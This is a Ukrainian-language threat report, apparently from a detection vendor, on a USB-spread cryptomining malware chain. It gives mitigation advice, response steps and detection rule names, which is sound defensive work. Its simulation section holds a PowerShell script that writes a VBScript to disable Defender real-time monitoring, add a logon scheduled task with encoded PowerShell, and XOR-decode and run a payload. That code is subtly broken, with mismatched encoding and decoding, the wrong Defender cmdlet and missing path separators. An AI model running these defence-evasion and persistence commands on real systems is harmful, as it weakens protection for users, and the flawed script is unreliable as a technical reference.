DIRTYBULK і друзі: USB-зловмисне програмне забезпечення, яке живить майнінгові операції
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
У звіті детально описано кампанію зараження, що використовує USB-носії та шкідливі файли-ярлики для розповсюдження багатоступінчастого ланцюга зловмисного програмного забезпечення для майнінгу криптовалют. Початкове виконання підвантажує DLL з ім’ям printui.dll із фіктивної директорії System32, потім передає роботу дроперу (CUTFAIL), далі запускаючи завантажувач (HIGHREPS) та бекдор (PUMPBENCH). Бекдор PUMPBENCH зв’язується з сервером PostgreSQL для отримання додаткових корисних навантажень і в результаті запускає майнери XMRig. Операція підтримує стійкість через виключення у Windows Defender, заплановані завдання та шахрайські сервіси.
Аналіз
Дослідники Mandiant розібрали ланцюг атак і підкреслили чотири основні родини зловмисного програмного забезпечення: DIRTYBULK, CUTFAIL, HIGHREPS і PUMPBENCH. Вони зафіксували шаблони назв файлів акторів, зловживання побічним підвантаженням DLL printui.dll, зміни в реєстрі та пов’язані мережеві показники. Аналіз також розкриває методи збереження стійкості, включаючи заплановані завдання та сервіси, пов’язані з групою сервісів DCOMLaunch.
Пом’якшення
Рекомендовані засоби захисту включають блокування виконання файлів-ярликів, що походять з переносних медіа, моніторинг команд, що додають виключення у Windows Defender, виявлення підозрілої діяльності з побічним підвантаженням printui.dll та пошук сервісів або запланованих завдань, що використовують випадкові шестизначні назви. Застосування мережевих контрольних механізмів проти відомих шкідливих доменів і DoH розв’язників може додатково обмежити канали командування і управління.
Відповідь
Як тільки виявлено, ізолюйте уражений хост, видаліть шкідливий DLL і пов’язані компоненти, видаліть образливі заплановані завдання і записи сервісів, а також відновіть налаштування Windows Defender, видаливши виключення. Проведіть комплексне судово-медичне сканування для виявлення залишкових навантажень і відстеження зв’язків з визначеною інфраструктурою C2 PostgreSQL. Нарешті, оновіть контент виявлення, щоб охопити спостережувані командні рядки та поведінку створення файлів.
Потік атаки
Виявлення
Аномальна кількість пробілів у назві процесу / командному рядку / шлях з файлами (через cmdline)
Переглянути
LOLBAS WScript / CScript (через process_creation)
Переглянути
Підозріле модифікування виключень Defender (через cmdline)
Переглянути
Можливе копіювання та перейменування системного виконуваного файлу для уникнення (через cmdline)
Переглянути
Вимкнення моніторингу в режимі реального часу Windows Defender та інші зміни преференцій (через cmdline)
Переглянути
Виконання симуляції
Передумова: перевірка на готовність телеметрії та базової лінії повинна бути успішною.
Причина: Цей розділ детально описує точне виконання техніки нападника (TTP), призначеної для активації правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати визначені TTP і спрямовані на генерацію очікуваної телеметрії, очікуваної від логіки виявлення. Абстрактні або нерелевантні приклади можуть привести до неправильної діагностики.
-
Оповідання та команди атаки:
-
Етап 1 – Завантаження шкідливого VBScript на скомпрометований USB-диск (наприклад,
E:payload.vbs). Скрипт відключає реальний захист Windows Defender, використовуючиAdd‑MpPreference, зашифровує корисне навантаження за допомогою XOR-рутини, і створює заплановане завдання для стійкості. -
Етап 2 – Виконання скрипта через
wscript.exeбезпосередньо передаючи командний рядок збереження (щоб виконати кон’юнктивну умову правила). -
Етап 3 – Скрипт інтернально викликає PowerShell для запуску зашифрованого корисного навантаження, демонструючи “ланцюг інфекції”.
-
Етап 4 – Після виконання нападник очищає артефакти (видаляє скрипт, видаляє заплановане завдання).
-
-
Сценарій регресійного тестування:
# ------------------------------------------------------------ # Регресійний тест — симуляція ланцюга шкідливого зараження # ------------------------------------------------------------ $scriptPath = "$env:TEMPpayload.vbs" $taskName = "WinUpdateTask" $xorKey = 0x5A # -- 1. Створення XOR‑зашифрованого фіктивного корисного навантаження -------------------------------- $plainPayload = "calc.exe" $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload) for ($i = 0; $i -lt $bytes.Length; $i++) { $bytes[$i] = $bytes[$i] -bxor $xorKey } $encrypted = [Convert]::ToBase64String($bytes) # -- 2. Запис шкідливого VBScript ------------------------------------------- @" ' Шкідливий VBScript — інфекційний ланцюг Set sh = CreateObject("WScript.Shell") ' Вимкнення захисту в реальному часі sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True ' Створення запланованого завдання для стійкості sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True ' Дешифрування та виконання корисного навантаження Dim encData, decData, i encData = "$encrypted" decData = "" For i = 1 To Len(encData) Step 4 ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey) decData = decData & ch Next sh.Run decData, 0, False "@ | Set-Content -Encoding ASCII $scriptPath # -- 3. Виконання скрипта через wscript.exe (активація правила) ------------- wscript.exe "$scriptPath" /B # -- 4. (Опціонально) Зачекайте кілька секунд для запуску завдання ---------------- Start-Sleep -Seconds 10 # ------------------------------------------------------------ # Очищення — видалення скрипту та запланованого завдання # ------------------------------------------------------------ Remove-Item $scriptPath -Force schtasks /Delete /TN $taskName /F -
Команди очищення:
# Видаліть залишкове заплановане завдання (якщо ще присутнє) schtasks /Delete /TN "WinUpdateTask" /F # Видаліть будь-які залишкові файли скриптів Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue # Увімкніть захист у реальному часі powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"